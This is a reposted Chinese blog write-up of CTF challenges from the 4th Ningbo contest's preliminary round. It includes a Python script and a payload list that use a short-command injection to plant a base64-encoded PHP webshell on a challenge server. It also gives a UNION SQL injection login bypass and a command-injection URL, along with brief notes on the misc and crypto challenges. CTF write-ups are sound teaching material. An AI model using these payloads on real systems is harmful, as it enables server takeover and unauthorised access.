小言_互联网的博客

第四届宁波赛初赛赛题 wp

310人阅读  评论(0)

Web

WEB1

打开页面发现源代码

119.61.19.212:50070/exec.php

GET 1必须小于八位

a.py :

\#!/usr/bin/python

\# -*- coding: UTF-8 -*-

import requests

url = "http://119.61.19.217:50070/exec.php?1={0}"

print("[+]start attack!!!")

with open("payload.txt","r") as f:

for i in f:

print("[*]" + url.format(i.strip()))

requests.get(url.format(i.strip()))

\#检查是否攻击成功

test = requests.get("http://119.61.19.217:50070/exec.php")

if test.status_code == requests.codes.ok:

print("[*]Attack success!!!")

 

$$ Payload.txt:

>hp

>1.p\

>d>\

>\ -\

>e64\

>bas\

>7|\

>XSk\

>Fsx\

>dFV\

>kX0\

>bCg\

>XZh\

>AgZ\

>waH\

>PD9\

>o\ \

>ech\

ls -t>0

sh 0 $$

WEB2

访问:view-source:119.61.19.217:50998/index.php~

发现源码:

然后$pass这块我们要输入和加密md5一样的值, 他们的条件就成立了 就能获得flag了

通过post发送

user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#

pass : admin

即可拿到flag!

WEB3

用脚本跑:

import hashlib

from multiprocessing.dummy import Pool as ThreadPool

 

\# MD5截断数值已知 求原始数据

\# 例子 substr(md5(captcha), 0, 6)=60b7ef

 

def md5(s): # 计算MD5字符串

return hashlib.md5(str(s).encode('utf-8')).hexdigest()

 

keymd5 = 'da29f1' #已知的md5截断值

md5start = 0 # 设置题目已知的截断位置

md5length = 6

 

def findmd5(sss): # 输入范围 里面会进行md5测试

key = sss.split(':')

start = int(key[0]) # 开始位置

end = int(key[1]) # 结束位置

result = 0

for i in range(start, end):

\# print(md5(i)[md5start:md5length])

if md5(i)[0:6] == keymd5: # 拿到加密字符串

result = i

print(result) # 打印

break

 

list=[] # 参数列表

for i in range(10): # 多线程的数字列表 开始与结尾

list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # 多线程任务

pool.map(findmd5, list) # 函数 与参数列表

pool.close()

pool.join()

 

得到url:119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php

119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1;ls

命令注入,但是好像环境有问题。

通过dirsearch直接扫描得到flag.php

拿到flag

WEB4

Dirsearch 扫描目录得到

view-source:119.61.19.217:51301//.index.php.swp

只要我们让file_text内容等于config.php的$test666的值就能拿到flag.

view-source:119.61.19.217:51301/index.php?file=config.php

得到config.php内容

得到flag

WEB5

扫描得到1.htaccess

得到

直接访问:119.61.19.217:50987/ctf_C1n_Fl4G

得到flag

misc

音乐和乐谱

尾部有音乐加密的密钥解密一下

彩虹

255,165,0

255,0,0

255,255,0

0,128,0

0,255,255

0,0,255

128,0,128

255165255255255128255255255128128

美丽的小姐姐

直接跑高度,修改就出flag

听雨寻知音

0010 0100 01 0100 1001 100 0001 110 10

…-. .-… .- .-… -…- -… …- --. -.

474FA66E4562828A772BC49CAE52AAD4

11011011101011011001111100010

子曰有云

佛曰解密

U2FsdGVkX19PNzVW96O4NOwIMRlbvcuHUpzSkdInC/086i4qWjwiziuu9rOnZpEFJwX9Qs4G
解 乃斐氏列与斐氏列二之解,加之。

Crypto

RSA

简单的RSA。

直接上工具解

需要注意的是e不要写成16进制的11就好了,然后到在线md5加密加密下就好了

nike

直接python2跑一下,发现sorry字样,查看代码发现有个地方改下就好了

然后得到base64字符串,解密下就得到flag,需要注意的是,有几次加密的md5几个字母会有偏差。

经过测试这个才是最终flag

简单混合密码

4 5 2 1 3
l h o e a
P k R S f
{ p U O }
g j l n a
g S k K R

esOnKoRulkaf}aRlP{gghkpjS


转载:https://blog.csdn.net/pone2233/article/details/117251536
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场